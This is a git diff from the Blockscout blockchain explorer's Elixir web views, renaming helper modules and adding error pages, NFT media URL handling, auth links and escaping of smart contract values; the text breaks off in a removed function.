e5b946e41623..0d1c0e1e139f 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/cldr_helper/number.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/cldr_helper/number.ex @@ -3,11 +3,13 @@ defmodule BlockScoutWeb.CldrHelper.Number do Work-arounds for `Cldr.Number` bugs """ + alias BlockScoutWeb.Cldr.Number + def to_string(decimal, options) do # We do this to trick Dialyzer to not complain about non-local returns caused by bug in Cldr.Number.to_string spec case :erlang.phash2(1, 1) do 0 -> - BlockScoutWeb.Cldr.Number.to_string(decimal, options) + Number.to_string(decimal, options) 1 -> # does not occur @@ -15,11 +17,13 @@ defmodule BlockScoutWeb.CldrHelper.Number do end end + def to_string!(nil), do: "" + def to_string!(decimal) do # We do this to trick Dialyzer to not complain about non-local returns caused by bug in Cldr.Number.to_string! spec case :erlang.phash2(1, 1) do 0 -> - BlockScoutWeb.Cldr.Number.to_string!(decimal) + Number.to_string!(decimal) 1 -> # does not occur @@ -31,7 +35,7 @@ defmodule BlockScoutWeb.CldrHelper.Number do # We do this to trick Dialyzer to not complain about non-local returns caused by bug in Cldr.Number.to_string! spec case :erlang.phash2(1, 1) do 0 -> - BlockScoutWeb.Cldr.Number.to_string!(decimal, options) + Number.to_string!(decimal, options) 1 -> # does not occur diff --git a/apps/block_scout_web/lib/block_scout_web/views/csv_export.ex b/apps/block_scout_web/lib/block_scout_web/views/csv_export.ex index 07b9564594ad..95515843f897 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/csv_export.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/csv_export.ex @@ -1,8 +1,10 @@ defmodule BlockScoutWeb.CsvExportView do use BlockScoutWeb, :view + alias BlockScoutWeb.Controller, as: BlockScoutWebController alias Explorer.Chain alias Explorer.Chain.Address + alias Explorer.Chain.CsvExport.Helper defp type_display_name(type) do case type do @@ -14,14 +16,10 @@ defmodule BlockScoutWeb.CsvExportView do end end + defp type_download_path(nil), do: "" + defp type_download_path(type) do - case type do - "internal-transactions" -> :internal_transactions_csv - "transactions" -> :transactions_csv - "token-transfers" -> :token_transfers_csv - "logs" -> :logs_csv - _ -> "" - end + type <> "/csv" end defp address_checksum(address_hash_string) do @@ -30,15 +28,4 @@ defmodule BlockScoutWeb.CsvExportView do |> Address.checksum() end end - - defp default_period_start do - DateTime.utc_now() - |> Timex.shift(months: -1) - |> Timex.format!("{YYYY}-{0M}-{0D}") - end - - defp default_period_end do - DateTime.utc_now() - |> Timex.format!("{YYYY}-{0M}-{0D}") - end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/currency_helper.ex b/apps/block_scout_web/lib/block_scout_web/views/currency_helper.ex new file mode 100644 index 000000000000..7dc513fcdc83 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/currency_helper.ex @@ -0,0 +1,95 @@ +defmodule BlockScoutWeb.CurrencyHelper do + @moduledoc """ + Helper functions for interacting with `t:BlockScoutWeb.ExchangeRates.USD.t/0` values. + """ + + alias BlockScoutWeb.CldrHelper.Number + alias Explorer.Chain.CurrencyHelper + + @doc """ + Formats the given integer value to a currency format. + + ## Examples + + iex> BlockScoutWeb.CurrencyHelper.format_integer_to_currency(1000000) + "1,000,000" + """ + @spec format_integer_to_currency(non_neg_integer() | nil) :: String.t() + def format_integer_to_currency(value) + + def format_integer_to_currency(nil) do + "-" + end + + def format_integer_to_currency(value) do + {:ok, formatted} = Number.to_string(value, format: "#,##0") + + formatted + end + + @doc """ + Formats the given amount according to given decimals. + + ## Examples + + iex> format_according_to_decimals(nil, Decimal.new(5)) + "-" + + iex> format_according_to_decimals(Decimal.new(20500000), Decimal.new(5)) + "205" + + iex> format_according_to_decimals(Decimal.new(20500000), Decimal.new(7)) + "2.05" + + iex> format_according_to_decimals(Decimal.new(205000), Decimal.new(12)) + "0.000000205" + + iex> format_according_to_decimals(Decimal.new(205000), Decimal.new(2)) + "2,050" + + iex> format_according_to_decimals(205000, Decimal.new(2)) + "2,050" + + iex> format_according_to_decimals(105000, Decimal.new(0)) + "105,000" + + iex> format_according_to_decimals(105000000000000000000, Decimal.new(100500)) + "105" + + iex> format_according_to_decimals(105000000000000000000, nil) + "105,000,000,000,000,000,000" + """ + @spec format_according_to_decimals(non_neg_integer() | nil, nil) :: String.t() + def format_according_to_decimals(nil, _) do + "-" + end + + def format_according_to_decimals(value, nil) do + format_according_to_decimals(value, Decimal.new(0)) + end + + def format_according_to_decimals(value, decimals) when is_integer(value) do + value + |> Decimal.new() + |> format_according_to_decimals(decimals) + end + + @spec format_according_to_decimals(Decimal.t(), Decimal.t()) :: String.t() + def format_according_to_decimals(value, decimals) do + if Decimal.compare(decimals, 24) == :gt do + format_according_to_decimals(value, Decimal.new(18)) + else + value + |> CurrencyHelper.divide_decimals(decimals) + |> thousands_separator() + end + end + + defp thousands_separator(value) do + if Decimal.to_float(value) > 999 do + Number.to_string!(value) + else + Decimal.to_string(value, :normal) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/currency_helpers.ex b/apps/block_scout_web/lib/block_scout_web/views/currency_helpers.ex deleted file mode 100644 index cd11a4283799..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/views/currency_helpers.ex +++ /dev/null @@ -1,95 +0,0 @@ -defmodule BlockScoutWeb.CurrencyHelpers do - @moduledoc """ - Helper functions for interacting with `t:BlockScoutWeb.ExchangeRates.USD.t/0` values. - """ - - alias BlockScoutWeb.CldrHelper.Number - - @doc """ - Formats the given integer value to a currency format. - - ## Examples - - iex> BlockScoutWeb.CurrencyHelpers.format_integer_to_currency(1000000) - "1,000,000" - """ - @spec format_integer_to_currency(non_neg_integer()) :: String.t() - def format_integer_to_currency(value) do - {:ok, formatted} = Number.to_string(value, format: "#,##0") - - formatted - end - - @doc """ - Formats the given amount according to given decimals. - - ## Examples - - iex> format_according_to_decimals(nil, Decimal.new(5)) - "-" - - iex> format_according_to_decimals(Decimal.new(20500000), Decimal.new(5)) - "205" - - iex> format_according_to_decimals(Decimal.new(20500000), Decimal.new(7)) - "2.05" - - iex> format_according_to_decimals(Decimal.new(205000), Decimal.new(12)) - "0.000000205" - - iex> format_according_to_decimals(Decimal.new(205000), Decimal.new(2)) - "2,050" - - iex> format_according_to_decimals(205000, Decimal.new(2)) - "2,050" - - iex> format_according_to_decimals(105000, Decimal.new(0)) - "105,000" - - iex> format_according_to_decimals(105000000000000000000, Decimal.new(100500)) - "105" - - iex> format_according_to_decimals(105000000000000000000, nil) - "105,000,000,000,000,000,000" - """ - @spec format_according_to_decimals(non_neg_integer() | nil, nil) :: String.t() - def format_according_to_decimals(nil, _) do - "-" - end - - def format_according_to_decimals(value, nil) do - format_according_to_decimals(value, Decimal.new(0)) - end - - def format_according_to_decimals(value, decimals) when is_integer(value) do - value - |> Decimal.new() - |> format_according_to_decimals(decimals) - end - - @spec format_according_to_decimals(Decimal.t(), Decimal.t()) :: String.t() - def format_according_to_decimals(value, decimals) do - if Decimal.compare(decimals, 24) == :gt do - format_according_to_decimals(value, Decimal.new(18)) - else - value - |> divide_decimals(decimals) - |> thousands_separator() - end - end - - defp thousands_separator(value) do - if Decimal.to_float(value) > 999 do - Number.to_string!(value) - else - Decimal.to_string(value, :normal) - end - end - - @spec divide_decimals(Decimal.t(), Decimal.t()) :: Decimal.t() - def divide_decimals(%{sign: sign, coef: coef, exp: exp}, decimals) do - sign - |> Decimal.new(coef, exp - Decimal.to_integer(decimals)) - |> Decimal.normalize() - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/views/error_helper.ex b/apps/block_scout_web/lib/block_scout_web/views/error_helper.ex new file mode 100644 index 000000000000..916746eb83d1 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/error_helper.ex @@ -0,0 +1,59 @@ +defmodule BlockScoutWeb.ErrorHelper do + @moduledoc """ + Conveniences for translating and building error messages. + """ + + use Phoenix.HTML + + alias Ecto.Changeset + alias Phoenix.HTML.Form + alias Plug.Conn + + @doc """ + Generates tag for inlined form input errors. + """ + def error_tag(form, field, opts \\ []) do + Enum.map(Keyword.get_values(form.errors, field), fn error -> + content_tag(:span, translate_error(error), Keyword.merge([class: "has-error"], opts)) + end) + end + + @doc """ + Gets the errors for a form's input. + """ + def errors_for_field(%Form{source: %Conn{}}, _), do: [] + + def errors_for_field(%Form{source: %Changeset{action: nil}}, _), do: [] + + def errors_for_field(%Form{source: %Changeset{action: :ignore}}, _), do: [] + + def errors_for_field(%Form{source: %Changeset{errors: errors}}, field) do + for error <- Keyword.get_values(errors, field) do + translate_error(error) + end + end + + @doc """ + Translates an error message using gettext. + """ + def translate_error({msg, opts}) do + # Because error messages were defined within Ecto, we must + # call the Gettext module passing our Gettext backend. We + # also use the "errors" domain as translations are placed + # in the errors.po file. + # Ecto will pass the :count keyword if the error message is + # meant to be pluralized. + # On your own code and templates, depending on whether you + # need the message to be pluralized or not, this could be + # written simply as: + # + # dngettext "errors", "1 file", "%{count} files", count + # dgettext "errors", "is invalid" + # + if count = opts[:count] do + Gettext.dngettext(BlockScoutWeb.Gettext, "errors", msg, msg, count, opts) + else + Gettext.dgettext(BlockScoutWeb.Gettext, "errors", msg, opts) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/error_helpers.ex b/apps/block_scout_web/lib/block_scout_web/views/error_helpers.ex deleted file mode 100644 index ff3e632e9ae5..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/views/error_helpers.ex +++ /dev/null @@ -1,59 +0,0 @@ -defmodule BlockScoutWeb.ErrorHelpers do - @moduledoc """ - Conveniences for translating and building error messages. - """ - - use Phoenix.HTML - - alias Ecto.Changeset - alias Phoenix.HTML.Form - alias Plug.Conn - - @doc """ - Generates tag for inlined form input errors. - """ - def error_tag(form, field, opts \\ []) do - Enum.map(Keyword.get_values(form.errors, field), fn error -> - content_tag(:span, translate_error(error), Keyword.merge([class: "has-error"], opts)) - end) - end - - @doc """ - Gets the errors for a form's input. - """ - def errors_for_field(%Form{source: %Conn{}}, _), do: [] - - def errors_for_field(%Form{source: %Changeset{action: nil}}, _), do: [] - - def errors_for_field(%Form{source: %Changeset{action: :ignore}}, _), do: [] - - def errors_for_field(%Form{source: %Changeset{errors: errors}}, field) do - for error <- Keyword.get_values(errors, field) do - translate_error(error) - end - end - - @doc """ - Translates an error message using gettext. - """ - def translate_error({msg, opts}) do - # Because error messages were defined within Ecto, we must - # call the Gettext module passing our Gettext backend. We - # also use the "errors" domain as translations are placed - # in the errors.po file. - # Ecto will pass the :count keyword if the error message is - # meant to be pluralized. - # On your own code and templates, depending on whether you - # need the message to be pluralized or not, this could be - # written simply as: - # - # dngettext "errors", "1 file", "%{count} files", count - # dgettext "errors", "is invalid" - # - if count = opts[:count] do - Gettext.dngettext(BlockScoutWeb.Gettext, "errors", msg, msg, count, opts) - else - Gettext.dgettext(BlockScoutWeb.Gettext, "errors", msg, opts) - end - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/views/error_view.ex b/apps/block_scout_web/lib/block_scout_web/views/error_view.ex index 22da72d0a26d..d800b719b3b2 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/error_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/error_view.ex @@ -1,15 +1,35 @@ defmodule BlockScoutWeb.ErrorView do use BlockScoutWeb, :view - def render("404.html", _assigns) do + # when type in ["json", "html"] + def render("404." <> _type, _assigns) do "Page not found" end - def render("422.html", _assigns) do + def render("400." <> _type, _assigns) do + "Bad request" + end + + def render("401." <> _type, _assigns) do + "Unauthorized" + end + + def render("403." <> _type, _assigns) do + "Forbidden" + end + + def render("422." <> _type, _assigns) do "Unprocessable entity" end - def render("500.html", _assigns) do + def render("500.html", %{conn: conn}) do + render(BlockScoutWeb.InternalServerErrorView, "index.html", + layout: {BlockScoutWeb.LayoutView, "app.html"}, + conn: conn + ) + end + + def render("500." <> _type, _assigns) do "Internal server error" end diff --git a/apps/block_scout_web/lib/block_scout_web/views/form_view.ex b/apps/block_scout_web/lib/block_scout_web/views/form_view.ex index 06144b1311a5..369fc47b48d1 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/form_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/form_view.ex @@ -19,13 +19,13 @@ defmodule BlockScoutWeb.FormView do * `:label` - Label for the input field - ## Options as HTML 5 Attriutes + ## Options as HTML 5 Attributes The following options will be applied as HTML 5 attributes on the `` element: * `:default_value` - Default value to attach to the input field - * `:id` - ID to attatch to the input field + * `:id` - ID to attach to the input field * `:placeholder` - Placeholder text for the input field * `:required` - Mark the input field as required * `:type` - Input field type diff --git a/apps/block_scout_web/lib/block_scout_web/views/internal_server_error_view.ex b/apps/block_scout_web/lib/block_scout_web/views/internal_server_error_view.ex new file mode 100644 index 000000000000..837ecb3367e0 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/internal_server_error_view.ex @@ -0,0 +1,5 @@ +defmodule BlockScoutWeb.InternalServerErrorView do + use BlockScoutWeb, :view + + @dialyzer :no_match +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/internal_transaction_view.ex b/apps/block_scout_web/lib/block_scout_web/views/internal_transaction_view.ex index 46252f72ce4e..3d4cafd9f3f0 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/internal_transaction_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/internal_transaction_view.ex @@ -3,7 +3,7 @@ defmodule BlockScoutWeb.InternalTransactionView do alias Explorer.Chain.InternalTransaction - import BlockScoutWeb.Gettext + use Gettext, backend: BlockScoutWeb.Gettext @doc """ Returns the formatted string for the type of the internal transaction. @@ -22,6 +22,7 @@ defmodule BlockScoutWeb.InternalTransactionView do def type(%InternalTransaction{type: :call, call_type: :callcode}), do: gettext("Call Code") def type(%InternalTransaction{type: :call, call_type: :delegatecall}), do: gettext("Delegate Call") def type(%InternalTransaction{type: :call, call_type: :staticcall}), do: gettext("Static Call") + def type(%InternalTransaction{type: :call, call_type: :invalid}), do: gettext("Invalid") def type(%InternalTransaction{type: :create}), do: gettext("Create") def type(%InternalTransaction{type: :create2}), do: gettext("Create2") def type(%InternalTransaction{type: :selfdestruct}), do: gettext("Self-Destruct") diff --git a/apps/block_scout_web/lib/block_scout_web/views/layout_view.ex b/apps/block_scout_web/lib/block_scout_web/views/layout_view.ex index 16907be09255..46977c4e1f51 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/layout_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/layout_view.ex @@ -1,11 +1,11 @@ defmodule BlockScoutWeb.LayoutView do use BlockScoutWeb, :view - alias Explorer.{Chain, CustomContractsHelpers} - alias Plug.Conn + alias EthereumJSONRPC.Variant + alias Explorer.{Chain, Helper} alias Poison.Parser - import BlockScoutWeb.AddressView, only: [from_address_hash: 1] + import BlockScoutWeb.APIDocsView, only: [blockscout_url: 1] @default_other_networks [ %{ @@ -40,7 +40,7 @@ defmodule BlockScoutWeb.LayoutView do end def logo_footer do - Keyword.get(application_config(), :logo_footer) || Keyword.get(application_config(), :logo) + Keyword.get(application_config(), :footer)[:logo] || Keyword.get(application_config(), :logo) end def logo_text do @@ -63,11 +63,21 @@ defmodule BlockScoutWeb.LayoutView do SocialMedia.links() end - def issue_link(conn) do + @doc """ + Generates URL for new issue creation on Github + """ + @spec issue_link() :: [term()] + def issue_link do + {os_family, os_name} = :os.type() + params = [ - labels: "BlockScout", - body: issue_body(conn), - title: subnetwork_title() <> ": " + template: "bug_report.yml", + labels: "triage", + "backend-version": version(), + "elixir-version": "Elixir #{System.version()} Erlang/OTP #{System.otp_release()}", + "os-version": "#{os_family} #{os_name}", + "archive-node-type": Variant.get(), + "additional-information": "The issue happened at #{subnetwork_title()} Blockscout instance" ] issue_url = "#{Application.get_env(:block_scout_web, :footer)[:github_link]}/issues/new" @@ -75,61 +85,38 @@ defmodule BlockScoutWeb.LayoutView do [issue_url, "?", URI.encode_query(params)] end - defp issue_body(conn) do - user_agent = - case Conn.get_req_header(conn, "user-agent") do - [] -> "unknown" - [user_agent] -> if String.valid?(user_agent), do: user_agent, else: "unknown" - _other -> "unknown" - end - - """ - *Describe your issue here.* - - ### Environment - * Elixir Version: #{System.version()} - * Erlang Version: #{System.otp_release()} - * BlockScout Version: #{version()} - - * User Agent: `#{user_agent}` - - ### Steps to reproduce - - *Tell us how to reproduce this issue. If possible, push up a branch to your fork with a regression test we can run to reproduce locally.* - - ### Expected Behaviour - - *Tell us what should happen.* - - ### Actual Behaviour - - *Tell us what happens instead.* - """ - end - def version do BlockScoutWeb.version() end + def release_link(""), do: "" + def release_link(nil), do: "" + def release_link(version) do release_link_env_var = Application.get_env(:block_scout_web, :release_link) release_link = - cond do - version == "" || version == nil -> - nil + if release_link_env_var == "" || release_link_env_var == nil do + release_link_from_version(version) + else + release_link_env_var + end + + html_escape({:safe, "#{version}"}) + end - release_link_env_var == "" || release_link_env_var == nil -> - "https://github.com/blockscout/blockscout/releases/tag/" <> version + def release_link_from_version(version) do + repo = "https://github.com/blockscout/blockscout" - true -> - release_link_env_var - end + if String.contains?(version, "+commit.") do + commit_hash = + version + |> String.split("+commit.") + |> List.last() - if release_link == nil do - "" + repo <> "/commit/" <> commit_hash else - html_escape({:safe, "#{version}"}) + repo <> "/releases/tag/" <> version end end @@ -195,24 +182,28 @@ defmodule BlockScoutWeb.LayoutView do |> Enum.filter(&Map.get(&1, :other?)) end + @spec other_explorers() :: map() def other_explorers do - if Application.get_env(:block_scout_web, :link_to_other_explorers) do - decode_other_explorers_json(Application.get_env(:block_scout_web, :other_explorers, [])) + if Application.get_env(:block_scout_web, :footer)[:link_to_other_explorers] do + decode_other_explorers_json(Application.get_env(:block_scout_web, :footer)[:other_explorers]) else - [] + %{} end end + @spec decode_other_explorers_json(nil | String.t()) :: map() + defp decode_other_explorers_json(nil), do: %{} + defp decode_other_explorers_json(data) do Jason.decode!(~s(#{data})) rescue - _ -> [] + _ -> %{} end def webapp_url(conn) do :block_scout_web |> Application.get_env(:webapp_url) - |> validate_url() + |> Helper.validate_url() |> case do :error -> chain_path(conn, :show) {:ok, url} -> url @@ -222,18 +213,19 @@ defmodule BlockScoutWeb.LayoutView do def api_url do :block_scout_web |> Application.get_env(:api_url) - |> validate_url() + |> Helper.validate_url() |> case do :error -> "" {:ok, url} -> url end end - def external_apps_list do - if Application.get_env(:block_scout_web, :external_apps) do + def apps_list do + apps = Application.get_env(:block_scout_web, :apps) + + if apps do try do - :block_scout_web - |> Application.get_env(:external_apps) + apps |> Parser.parse!(%{keys: :atoms!}) rescue _ -> @@ -244,12 +236,28 @@ defmodule BlockScoutWeb.LayoutView do end end - defp validate_url(url) when is_binary(url) do - case URI.parse(url) do - %URI{host: nil} -> :error - _ -> {:ok, url} + def sign_in_link do + if Mix.env() == :test do + "/auth/auth0" + else + Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:path] <> "/auth/auth0" end end - defp validate_url(_), do: :error + def sign_out_link do + client_id = Application.get_env(:ueberauth, Ueberauth.Strategy.Auth0.OAuth)[:client_id] + return_to = blockscout_url(true) <> "/auth/logout" + logout_url = Application.get_env(:ueberauth, Ueberauth)[:logout_url] + + if client_id && return_to && logout_url do + params = [ + client_id: client_id, + returnTo: return_to + ] + + [logout_url, "?", URI.encode_query(params)] + else + [] + end + end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/nft_helper.ex b/apps/block_scout_web/lib/block_scout_web/views/nft_helper.ex new file mode 100644 index 000000000000..ee86d1f9ad23 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/nft_helper.ex @@ -0,0 +1,108 @@ +defmodule BlockScoutWeb.NFTHelper do + @moduledoc """ + Module with functions for NFT view + """ + alias Explorer.Token.MetadataRetriever + + def get_media_src(nil, _), do: nil + + # credo:disable-for-next-line /Complexity/ + def get_media_src(metadata, high_quality_media?) do + result = + cond do + metadata["animation_url"] && high_quality_media? -> + retrieve_image(metadata["animation_url"]) + + metadata["image_url"] -> + retrieve_image(metadata["image_url"]) + + metadata["image"] -> + retrieve_image(metadata["image"]) + + image = metadata["properties"]["image"] -> + if is_map(image), do: image["description"], else: image + + true -> + nil + end + + if result && String.trim(result) == "", do: nil, else: result + end + + def external_url(nil), do: nil + + def external_url(instance) do + result = + if instance.metadata && instance.metadata["external_url"] do + instance.metadata["external_url"] + else + external_url(nil) + end + + if !result || (result && String.trim(result)) == "", do: external_url(nil), else: result + end + + def retrieve_image(image) when is_nil(image), do: nil + + def retrieve_image(image) when is_map(image) do + image["description"] + end + + def retrieve_image(image) when is_list(image) do + image_url = image |> Enum.at(0) + retrieve_image(image_url) + end + + def retrieve_image(image_url) do + image_url + |> URI.decode() + |> URI.encode() + |> compose_resource_url() + end + + @doc """ + Composes a full IPFS URL from the given image URL. + + ## Parameters + + - image_url: The URL of the image to be composed into an IPFS URL. It can be nil. + + ## Returns + + - A string representing the full IPFS URL or nil. + + ## Examples + + iex> compose_resource_url("ipfs://QmTzQ1e1Y1e1Y1e1Y1e1Y1e1Y1e1Y1e1Y1e1Y1e1Y1") + "https://ipfs.io/ipfs/QmTzQ1e1Y1e1Y1e1Y1e1Y1e1Y1e1Y1e1Y1e1Y1e1Y1" + + """ + @spec compose_resource_url(String.t() | nil) :: String.t() | nil + def compose_resource_url(nil), do: nil + + def compose_resource_url(image_url) do + image_url_downcase = + image_url + |> String.downcase() + + cond do + image_url_downcase =~ ~r/^ipfs:\/\/ipfs/ -> + # take resource id after "ipfs://ipfs/" prefix + resource_id = image_url |> String.slice(12..-1//1) + MetadataRetriever.ipfs_link(resource_id, true) + + image_url_downcase =~ ~r/^ipfs:\/\// -> + # take resource id after "ipfs://" prefix + resource_id = image_url |> String.slice(7..-1//1) + MetadataRetriever.ipfs_link(resource_id, true) + + image_url_downcase =~ ~r/^ar:\/\// -> + # take resource id after "ar://" prefix + resource_id = image_url |> String.slice(5..-1//1) + MetadataRetriever.arweave_link(resource_id) + + true -> + image_url + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/render_helper.ex b/apps/block_scout_web/lib/block_scout_web/views/render_helper.ex new file mode 100644 index 000000000000..b367dc7d6538 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/render_helper.ex @@ -0,0 +1,21 @@ +defmodule BlockScoutWeb.RenderHelper do + @moduledoc """ + Helper functions to render partials from view modules + """ + use BlockScoutWeb, :view + + @doc """ + Renders html using: + * A list of args including `:view_module` and `:partial` to render a partial with the required keyword list. + * Text that will pass directly through to the template + """ + def render_partial(args) when is_list(args) do + render( + Keyword.get(args, :view_module), + Keyword.get(args, :partial), + args + ) + end + + def render_partial(text), do: text +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/render_helpers.ex b/apps/block_scout_web/lib/block_scout_web/views/render_helpers.ex deleted file mode 100644 index 20c35fa938ab..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/views/render_helpers.ex +++ /dev/null @@ -1,21 +0,0 @@ -defmodule BlockScoutWeb.RenderHelpers do - @moduledoc """ - Helper functions to render partials from view modules - """ - use BlockScoutWeb, :view - - @doc """ - Renders html using: - * A list of args including `:view_module` and `:partial` to render a partial with the required keyword list. - * Text that will pass directly through to the template - """ - def render_partial(args) when is_list(args) do - render( - Keyword.get(args, :view_module), - Keyword.get(args, :partial), - args - ) - end - - def render_partial(text), do: text -end diff --git a/apps/block_scout_web/lib/block_scout_web/views/robots_view.ex b/apps/block_scout_web/lib/block_scout_web/views/robots_view.ex new file mode 100644 index 000000000000..628ed672e019 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/robots_view.ex @@ -0,0 +1,10 @@ +defmodule BlockScoutWeb.RobotsView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.APIDocsView + alias Explorer.{Chain, PagingOptions} + alias Explorer.Chain.{Address, Token} + + @limit 50 + defp limit, do: @limit +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/script_helper.ex b/apps/block_scout_web/lib/block_scout_web/views/script_helper.ex new file mode 100644 index 000000000000..f3d0c6cc43e8 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/script_helper.ex @@ -0,0 +1,34 @@ +defmodule BlockScoutWeb.Views.ScriptHelper do + @moduledoc """ + Helper for rendering view specific script tags. + """ + + import Phoenix.LiveView.Helpers, only: [sigil_H: 2] + import BlockScoutWeb.Router.Helpers, only: [static_path: 2] + + alias Phoenix.HTML.Safe + + def render_scripts(conn, file_names) do + conn + |> files(file_names) + |> Enum.map(fn file -> + assigns = %{file: file} + + ~H""" + + """ + |> Safe.to_iodata() + |> List.to_string() + end) + end + + defp files(conn, file_names) do + file_names + |> List.wrap() + |> Enum.map(fn file -> + path = "/" <> Path.join("js", file) + + static_path(conn, path) + end) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/script_helpers.ex b/apps/block_scout_web/lib/block_scout_web/views/script_helpers.ex deleted file mode 100644 index 730365cdbdad..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/views/script_helpers.ex +++ /dev/null @@ -1,28 +0,0 @@ -defmodule BlockScoutWeb.Views.ScriptHelpers do - @moduledoc """ - Helpers for rendering view specific script tags. - """ - - import Phoenix.HTML, only: [sigil_E: 2] - import BlockScoutWeb.Router.Helpers, only: [static_path: 2] - - def render_scripts(conn, file_names) do - conn - |> files(file_names) - |> Enum.map(fn file -> - ~E""" - - """ - end) - end - - defp files(conn, file_names) do - file_names - |> List.wrap() - |> Enum.map(fn file -> - path = "/" <> Path.join("js", file) - - static_path(conn, path) - end) - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/views/smart_contract_view.ex b/apps/block_scout_web/lib/block_scout_web/views/smart_contract_view.ex index e5bbb11ef11e..0c099c86766d 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/smart_contract_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/smart_contract_view.ex @@ -1,11 +1,17 @@ defmodule BlockScoutWeb.SmartContractView do use BlockScoutWeb, :view + import Explorer.SmartContract.Reader, only: [zip_tuple_values_with_types: 2] + alias Explorer.Chain alias Explorer.Chain.{Address, Transaction} alias Explorer.Chain.Hash.Address, as: HashAddress + alias Explorer.Chain.SmartContract + alias Explorer.Chain.SmartContract.Proxy.EIP1167 alias Explorer.SmartContract.Helper + require Logger + def queryable?(inputs) when not is_nil(inputs), do: Enum.any?(inputs) def queryable?(inputs) when is_nil(inputs), do: false @@ -50,7 +56,7 @@ defmodule BlockScoutWeb.SmartContractView do String.starts_with?(type, "tuple") -> tuple_types = type - |> String.slice(0..-3) + |> String.slice(0..-3//1) |> supplement_type_with_components(components) values = @@ -63,14 +69,14 @@ defmodule BlockScoutWeb.SmartContractView do String.starts_with?(type, "address") -> values = value - |> Enum.map_join(", ", &binary_to_utf_string(&1)) + |> Enum.map_join(", ", &cast_address(&1)) render_array_type_value(type, values, fetch_name(names, index)) String.starts_with?(type, "bytes") -> values = value - |> Enum.map_join(", ", &binary_to_utf_string(&1)) + |> Enum.join(", ") render_array_type_value(type, values, fetch_name(names, index)) @@ -102,25 +108,34 @@ defmodule BlockScoutWeb.SmartContractView do end end - def values_with_type(value, "string", names, index, _components), - do: render_type_value("string", value |> Helper.sanitize_input(), fetch_name(names, index)) - - def values_with_type(value, :string, names, index, _components), - do: render_type_value("string", value |> Helper.sanitize_input(), fetch_name(names, index)) + def values_with_type(value, string, names, index, _components) when string in ["string", :string], + do: render_type_value("string", Helper.escape_minimal(value), fetch_name(names, index)) - def values_with_type(value, :bytes, names, index, _components), - do: render_type_value("bytes", value |> Helper.sanitize_input(), fetch_name(names, index)) + def values_with_type(value, "bytes" <> _ = bytes_type, names, index, _components), + do: render_type_value(bytes_type, Helper.escape_minimal(value), fetch_name(names, index)) - def values_with_type(value, "bool", names, index, _components), - do: render_type_value("bool", to_string(value), fetch_name(names, index)) + def values_with_type(value, bytes, names, index, _components) when bytes in [:bytes], + do: render_type_value("bytes", Helper.escape_minimal(value), fetch_name(names, index)) - def values_with_type(value, :bool, names, index, _components), - do: render_type_value("bool", to_string(value), fetch_name(names, index)) + def values_with_type(value, bool, names, index, _components) when bool in ["bool", :bool], + do: render_type_value("bool", Helper.escape_minimal(to_string(value)), fetch_name(names, index)) def values_with_type(value, type, names, index, _components), - do: render_type_value(type, binary_to_utf_string(value), fetch_name(names, index)) + do: render_type_value(type, Helper.escape_minimal(value), fetch_name(names, index)) + + def values_with_type(value, :error, _components), + do: render_type_value("error", Helper.escape_minimal(value), "error") + + def cast_address(value) do + case HashAddress.cast(value) do + {:ok, address} -> + to_string(address) - def values_with_type(value, :error, _components), do: render_type_value("error", value, "error") + _ -> + Logger.warning(fn -> ["Error decoding address value: #{inspect(value)}"] end) + "(decoding error)" + end + end defp fetch_name(nil, _index), do: nil @@ -134,14 +149,6 @@ defmodule BlockScoutWeb.SmartContractView do name end - def wrap_output(value, is_too_long \\ false) do - if is_too_long do - "
    Click to view#{value}
